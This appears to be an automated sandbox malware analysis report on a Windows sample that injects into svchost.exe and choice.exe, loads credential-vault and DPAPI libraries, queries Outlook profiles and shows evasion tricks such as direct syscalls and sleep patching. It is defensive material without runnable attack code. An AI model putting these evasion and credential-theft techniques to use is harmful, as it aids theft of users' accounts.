Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\choice.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: 2rI5YEg7uo.exe

Static file information: File size 1311705 > 1048576

Source:	Binary string: choice.pdbGCTL source: svchost.exe, 00000002.00000003.1706252272.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1706231248.000000000341A000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000002.3290150484.0000000000B67000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: vuEbrnedVG.exe, 00000004.00000000.1661414875.000000000087E000.00000002.00000001.01000000.00000005.sdmp, vuEbrnedVG.exe, 00000006.00000000.1809484907.000000000087E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: 2rI5YEg7uo.exe, 00000000.00000003.1459265163.00000000046C0000.00000004.00001000.00020000.00000000.sdmp, 2rI5YEg7uo.exe, 00000000.00000003.1458321355.0000000004520000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647975493.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645901086.0000000003600000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1745151156.00000000040A7000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1743246724.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.00000000043EE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.0000000004250000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2rI5YEg7uo.exe, 00000000.00000003.1459265163.00000000046C0000.00000004.00001000.00020000.00000000.sdmp, 2rI5YEg7uo.exe, 00000000.00000003.1458321355.0000000004520000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1737722402.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647975493.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645901086.0000000003600000.00000004.00000020.00020000.00000000.sdmp, choice.exe, choice.exe, 00000005.00000003.1745151156.00000000040A7000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1743246724.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.00000000043EE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.0000000004250000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: choice.exe, 00000005.00000002.3292579708.000000000487C000.00000004.10000000.00040000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.0000000002665000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000034EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000225FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: choice.exe, 00000005.00000002.3292579708.000000000487C000.00000004.10000000.00040000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.0000000002665000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000034EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000225FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: choice.pdb source: svchost.exe, 00000002.00000003.1706252272.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1706231248.000000000341A000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000002.3290150484.0000000000B67000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: 2rI5YEg7uo.exe

Static PE information: real checksum: 0xa2135 should be: 0x14e24f

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040706E push es; iretd	2_2_00407089
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00407073 push es; iretd	2_2_00407089
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041E0E4 push edi; iretd	2_2_0041E0FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A163 push cs; iretd	2_2_0041A173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004031D0 push eax; ret	2_2_004031D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414222 push D3AAC1DAh; iretd	2_2_00414227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405A9E push eax; retf	2_2_00405AFA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411314 push edx; retf	2_2_00411315
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413CD6 pushfd ; ret	2_2_00413CD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004014A0 push ebx; ret	2_2_004014A1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040CD44 push eax; retf	2_2_0040CD6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418555 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040CD74 push eax; retf	2_2_0040CD6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413D15 push 1205129Fh; retf	2_2_00413D26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A526 push edx; iretd	2_2_0041A534
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004185C4 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404DF4 pushad ; ret	2_2_00404DF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418590 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004085AD push ds; ret	2_2_004085B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418650 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418604 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418620 push 00000045h; ret	2_2_00418602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404F93 push FFFFFFA0h; retf	2_2_00404F9C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx	2_2_03A309B6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042809AD push ecx; mov dword ptr [esp], ecx	5_2_042809B6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02157353 push edx; iretd	5_2_02157361
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02155382 push 00000045h; ret	5_2_0215542F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_021553BD push 00000045h; ret	5_2_0215542F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_021453DA push ds; ret	5_2_021453DF
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_021553F1 push 00000045h; ret	5_2_0215542F

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	API/Special instruction interceptor: Address: 3F1422C
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\choice.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03A7096E rdtsc

2_2_03A7096E

Source: C:\Windows\SysWOW64\choice.exe

Window / User API: threadDelayed 9845

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	API coverage: 3.4 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\choice.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\choice.exe TID: 6532	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 6532	Thread sleep time: -256000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 6532	Thread sleep count: 9845 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe TID: 6532	Thread sleep time: -19690000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe TID: 4900	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe TID: 4900	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\choice.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\choice.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0215BFF0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0215BFF0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: 2Me1E22.5.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 2Me1E22.5.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: choice.exe, 00000005.00000002.3294696425.00000000074AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sswords blocklistVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 2Me1E22.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 2Me1E22.5.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 2Me1E22.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: choice.exe, 00000005.00000002.3289709426.0000000002665000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3290309176.000000000169F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2033906611.000001F8224AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2Me1E22.5.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 2Me1E22.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: choice.exe, 00000005.00000002.3294696425.00000000074AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: entralVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 2Me1E22.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 2Me1E22.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: choice.exe, 00000005.00000002.3294696425.00000000074AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .co.inVMware20,11696497155d
Source: 2Me1E22.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 2Me1E22.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 2Me1E22.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 2Me1E22.5.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 2Me1E22.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 2Me1E22.5.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 2Me1E22.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 2Me1E22.5.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 2Me1E22.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 2Me1E22.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 2Me1E22.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03A7096E rdtsc

2_2_03A7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004170E3 LdrLoadDll,

2_2_004170E3

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_03F144F8 mov eax, dword ptr fs:[00000030h]	0_2_03F144F8
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_03F14498 mov eax, dword ptr fs:[00000030h]	0_2_03F14498
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_03F12E78 mov eax, dword ptr fs:[00000030h]	0_2_03F12E78
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]	2_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]	2_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]	2_2_03ADE3DB
